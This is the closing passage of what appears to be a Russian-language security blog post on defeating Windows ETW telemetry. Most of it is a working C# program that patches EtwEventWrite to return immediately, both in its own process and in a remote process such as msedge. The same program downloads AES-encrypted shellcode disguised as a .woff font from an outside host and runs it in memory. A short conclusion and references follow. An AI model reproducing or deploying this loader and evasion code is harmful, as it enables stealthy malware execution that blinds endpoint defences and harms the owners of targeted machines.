        private static string AESKey = "D(G+KbPeShVmYq3t";
        private static string AESIV = "8y/B?E(G+KbPeShV";
        private static string url = "http://192.168.243.139:8000/test.woff";

        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

        [DllImport("kernel32.dll")]
        static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

        [DllImport("kernel32.dll")]
        static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

        [DllImport("kernel32.dll", SetLastError = true)]
        static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

        [DllImport("kernel32.dll", SetLastError = true)]
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out int lpNumberOfBytesWritten);

        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern IntPtr LoadLibrary(string lpFileName);

        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);

        public static void DownloadAndExecute()
        {
            Console.WriteLine("Starting DownloadAndExecute...");
            ServicePointManager.ServerCertificateValidationCallback += (sender, certificate, chain, sslPolicyErrors) => true;
            System.Net.WebClient client = new System.Net.WebClient();
            byte[] shellcode = client.DownloadData(url);
            Console.WriteLine("Shellcode downloaded.");

            List<byte> l = new List<byte> { };

            for (int i = 16; i <= shellcode.Length - 1; i++)
            {
                l.Add(shellcode[i]);
            }
            Console.WriteLine("Shellcode adjusted.");

            byte[] actual = l.ToArray();

            byte[] decrypted;

            decrypted = Decrypt(actual, AESKey, AESIV);
            Console.WriteLine("Shellcode decrypted.");
            IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)decrypted.Length, 0x3000, 0x40);
            Marshal.Copy(decrypted, 0, addr, decrypted.Length);
            Console.WriteLine("Shellcode allocated and copied to memory.");
            IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
            WaitForSingleObject(hThread, 0xFFFFFFFF);
            Console.WriteLine("Shellcode executed.");
        }

        private static byte[] Decrypt(byte[] ciphertext, string AESKey, string AESIV)
        {
            byte[] key = Encoding.UTF8.GetBytes(AESKey);
            byte[] IV = Encoding.UTF8.GetBytes(AESIV);

            using (Aes aesAlg = Aes.Create())
            {
                aesAlg.Key = key;
                aesAlg.IV = IV;
                aesAlg.Padding = PaddingMode.None;

                ICryptoTransform decryptor = aesAlg.CreateDecryptor(aesAlg.Key, aesAlg.IV);

                using (MemoryStream memoryStream = new MemoryStream(ciphertext))
                {
                    using (CryptoStream cryptoStream = new CryptoStream(memoryStream, decryptor, CryptoStreamMode.Write))
                    {
                        cryptoStream.Write(ciphertext, 0, ciphertext.Length);
                        Console.WriteLine("Decryption in progress...");
                        return memoryStream.ToArray();
                    }
                }
            }
        }

        private static int GetProcId(string[] args)
        {
            if (args.Length == 0)
            {
                args = new string[] { "msedge" };
            }

            if (args[0].All(char.IsDigit))
            {
                Console.WriteLine("Getting PID for target process ({0})...", args[0]);
                var pid = int.Parse(args[0]);
                var process = Process.GetProcessById(pid);
                Console.WriteLine("PID for target process: {0}", process.Id);
                return process.Id;
            }
            else
            {
                Console.WriteLine("Getting PID for target process ({0})...", args[0]);
                var name = args[0];
                var process = Process.GetProcessesByName(name).FirstOrDefault();
                Console.WriteLine("PID for target process ({0}): {1}", name, process.Id);
                return process.Id;
            }
        }

        private static IntPtr GetRemoteNtdllBaseAddress(Process targetProcess)
        {
            Console.WriteLine("Getting NTDLL base address for target process...");
            var ntdllBaseAddress = targetProcess.Modules.Cast<ProcessModule>().FirstOrDefault(m => m.ModuleName == "ntdll.dll")?.BaseAddress;

            if (ntdllBaseAddress.HasValue)
            {
                Console.WriteLine("NTDLL base address: 0x{0}", ntdllBaseAddress.Value.ToString("X"));
                return ntdllBaseAddress.Value;
            }
            else
            {
                throw new InvalidOperationException("Failed to get NTDLL base address.");
            }
        }

        private static IntPtr GetEtwEventWriteOffset()
        {
            Console.WriteLine("Getting ETW Event Write offset...");
            var localNtdllAddress = GetLibraryAddress("ntdll.dll", "EtwEventWrite");
            var localNtdllBaseAddress = GetRemoteNtdllBaseAddress(Process.GetCurrentProcess());
            var offset = (long)localNtdllAddress - (long)localNtdllBaseAddress;

            Console.WriteLine("ETW Event Write offset: 0x{0}", offset.ToString("X"));
            return (IntPtr)offset;
        }

        private static void ModifyRemoteMemory(IntPtr processHandle, IntPtr address, byte newValue)
        {
            Console.WriteLine("Modifying remote memory...");
            const int PAGE_EXECUTE_READWRITE = 0x40;

            if (!VirtualProtectEx(processHandle, address, (UIntPtr)1, PAGE_EXECUTE_READWRITE, out var oldProtect))
            {
                throw new InvalidOperationException("Failed to change memory protection.");
            }

            if (!WriteProcessMemory(processHandle, address, new[] { newValue }, 1, out _))
            {
                throw new InvalidOperationException("Failed to write to the memory.");
            }

            if (!VirtualProtectEx(processHandle, address, (UIntPtr)1, oldProtect, out _))
            {
                throw new InvalidOperationException("Failed to restore memory protection.");
            }
            Console.WriteLine("Remote memory modified.");
        }

        private static void PatchEtw(IntPtr processHandle, IntPtr remoteNtdllBaseAddress)
        {
            Console.WriteLine("Patching ETW...");
            IntPtr etwEventWriteOffset = GetEtwEventWriteOffset();
            IntPtr remoteEtwEventWriteAddress = (IntPtr)((long)remoteNtdllBaseAddress + (long)etwEventWriteOffset);

            byte newValue = 0xC3; // RET
            ModifyRemoteMemory(processHandle, remoteEtwEventWriteAddress, newValue);
            Console.WriteLine("ETW patched[.]");
        }

        public static IntPtr GetLibraryAddress(string dllName, string functionName)
        {
            Console.WriteLine("Getting address of {0} from {1}...", functionName, dllName);
            IntPtr hModule = LoadLibrary(dllName);
            if (hModule == IntPtr.Zero)
            {
                throw new DllNotFoundException($"Unable to load library: {dllName}");
            }
            IntPtr functionAddress = GetProcAddress(hModule, functionName);
            if (functionAddress == IntPtr.Zero)
            {
                throw new EntryPointNotFoundException($"Unable to find function: {functionName}");
            }
            Console.WriteLine("Address of {0} from {1} obtained: 0x{2}", functionName, dllName, functionAddress.ToString("X"));
            return functionAddress;
        }

        public static void Main(string[] args)
        {
            // Begin ETW patching process
            Console.WriteLine("[*] ----- Patching ETW ----- [*]");
            int targetProcessId = GetProcId(args);
            Process targetProcess = Process.GetProcessById(targetProcessId);
            IntPtr targetProcessHandle = targetProcess.Handle;

            // Load the functions from kernel32.dll
            IntPtr vpeAddress = GetLibraryAddress("kernel32.dll", "VirtualProtectEx");
            IntPtr wpmAddress = GetLibraryAddress("kernel32.dll", "WriteProcessMemory");

            var VirtualProtectEx = (VirtualProtectExDelegate)Marshal.GetDelegateForFunctionPointer(vpeAddress, typeof(VirtualProtectExDelegate));
            var WriteProcessMemory = (WriteProcessMemoryDelegate)Marshal.GetDelegateForFunctionPointer(wpmAddress, typeof(WriteProcessMemoryDelegate));

            // Patch the ETW
            IntPtr currentNtdllBaseAddress = GetRemoteNtdllBaseAddress(Process.GetCurrentProcess());
            PatchEtw(Process.GetCurrentProcess().Handle, currentNtdllBaseAddress);
            IntPtr remoteNtdllBaseAddress = GetRemoteNtdllBaseAddress(targetProcess);
            PatchEtw(targetProcessHandle, remoteNtdllBaseAddress);

            Console.WriteLine("[*] ETW patching complete.");

            // Download and execute the shellcode
            Console.WriteLine("[*] ----- Starting Download and Execute Process ----- [*]");

            // Enter to execute the shellcode
            Console.WriteLine("Press Enter to execute the shellcode...");
            Console.ReadLine();

            DownloadAndExecute();
        }

        private delegate bool VirtualProtectExDelegate(IntPtr hProcess, IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
        private delegate bool WriteProcessMemoryDelegate(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out int lpNumberOfBytesWritten);
    }
}

Изучив адрес EtwEventWrite в WinDbg, мы можем подтвердить, что патч был успешно применен, заставляя функцию немедленно возвращаться без выполнения.

2024-06-30_17_14_31.png



## POC
2024-06-30-17-57-28.gif



# Заключение

В ходе моего исследования я протестировал различные техники, некоторые из которых не дали желаемых результатов. Однако основные стратегии—вмешательство в сеансы трассировки ETW, захват сеансов и патчинг функций ETW—оказались эффективными.

Надеюсь, вы найдете эти идеи ценными и интересными! Если вы заметите какие-либо неточности или у вас будут предложения, пожалуйста, дайте мне знать! Я хочу учиться на своих ошибках :).

# Ссылки
- https://learn.microsoft.com/en-us/windows-hardware/test/weg/instrumenting-your-code-with-etw
- - https://maldevacademy.com/
- https://www.amazon.com/Evading-EDR-Definitive-Defeating-Detection/dp/1718503342
- https://jsecurity101.medium.com/understanding-etw-patching-9f5af87f9d7b
- https://www.phrack.me/tools/2023/04/10/Patching-ETW-in-C.html
 
Сверху Снизу